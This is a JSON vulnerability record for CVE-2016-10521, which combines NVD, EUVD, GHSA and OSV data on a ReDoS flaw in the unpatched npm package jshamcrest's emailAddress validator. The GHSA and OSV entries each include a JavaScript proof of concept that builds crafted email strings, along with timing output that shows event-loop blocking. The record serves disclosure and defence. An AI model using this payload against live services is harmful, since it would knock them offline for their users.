{"id":"CVE-2016-10521","aliases":["EUVD-2019-0364","GHSA-xj62-87pg-vcv3"],"status":"published","title":"Regular Expression Denial of Service in jshamcrest","description":"jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-08","score":0.01093,"percentile":0.65664,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-20","CWE-400"],"published":"2018-05-31T20:00:00Z","modified":"2026-06-17T00:39:52Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"jshamcrest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.7.1"}]}]},{"source":"osv","ecosystem":"npm","package":"jshamcrest","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.7.1"}]}]}],"products":[{"vendor":"hackerone","product":"jshamcrest node module"},{"vendor":"jshamcrest_project","product":"jshamcrest"}],"references":[{"url":"https://nodesecurity.io/advisories/53","tags":["x_refsource_MISC","x_transferred","Broken Link"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2016-10521","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xj62-87pg-vcv3","tags":["advisory"]},{"url":"https://www.npmjs.com/advisories/53","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2016-10521","description":"jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.","status":"published","published":"2018-05-31T20:00:00Z","modified":"2024-09-16T19:50:46.651Z","cwes":["CWE-400"],"updated_at":"2026-11-02T14:33:31.450804Z"}],"euvd":[{"id":"EUVD-2019-0364","description":"jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.","status":"published","published":"2018-05-31T20:00:00Z","modified":"2024-09-16T19:50:46Z","updated_at":"2026-11-03T00:55:19.533306Z"}],"ghsa":[{"id":"GHSA-xj62-87pg-vcv3","title":"Regular Expression Denial of Service in jshamcrest","description":"The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.\n\n\n## Proof of concept\n\n```js\nvar js = require('jshamcrest')\nvar emailAddress = new js.JsHamcrest.Matchers.emailAddress();\n\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i\u003c=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=1;i\u003c=10000000;i=i+1) {\n    console.log(\"COUNT: \" + i);\n    var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    emailAddress.matches(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\nIt takes about 116 characters to get a 1.6 second event loop block.\n```\n[ 1, 633084590 ]\nCOUNT: 51\nLENGTH: 116\n```\n\n# Timeline\n- October 25, 2015 - Vulnerability Identified\n- October 25, 2015 - Maintainers notified (no response)\n\n\n## Recommendation\n\nThe `jshamcrest` package currently has no patched versions available.\n\nAt this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).","status":"published","published":"2019-02-18T23:38:51Z","modified":"2023-09-13T22:47:34Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:37:05.004935Z"}],"nvd":[{"id":"CVE-2016-10521","description":"jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.","status":"published","published":"2018-05-31T20:29:00.673Z","modified":"2026-06-17T00:39:52.21Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:N/I:N/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-400","CWE-20"],"updated_at":"2026-11-02T14:03:39.176887Z"}],"osv":[{"id":"GHSA-xj62-87pg-vcv3","title":"Regular Expression Denial of Service in jshamcrest","description":"The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.\n\n\n## Proof of concept\n\n```js\nvar js = require('jshamcrest')\nvar emailAddress = new js.JsHamcrest.Matchers.emailAddress();\n\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i\u003c=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=1;i\u003c=10000000;i=i+1) {\n    console.log(\"COUNT: \" + i);\n    var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    emailAddress.matches(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\nIt takes about 116 characters to get a 1.6 second event loop block.\n```\n[ 1, 633084590 ]\nCOUNT: 51\nLENGTH: 116\n```\n\n# Timeline\n- October 25, 2015 - Vulnerability Identified\n- October 25, 2015 - Maintainers notified (no response)\n\n\n## Recommendation\n\nThe `jshamcrest` package currently has no patched versions available.\n\nAt this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).","status":"published","published":"2019-02-18T23:38:51Z","modified":"2023-11-08T03:58:10.295052Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:47:00.198893Z"}]}}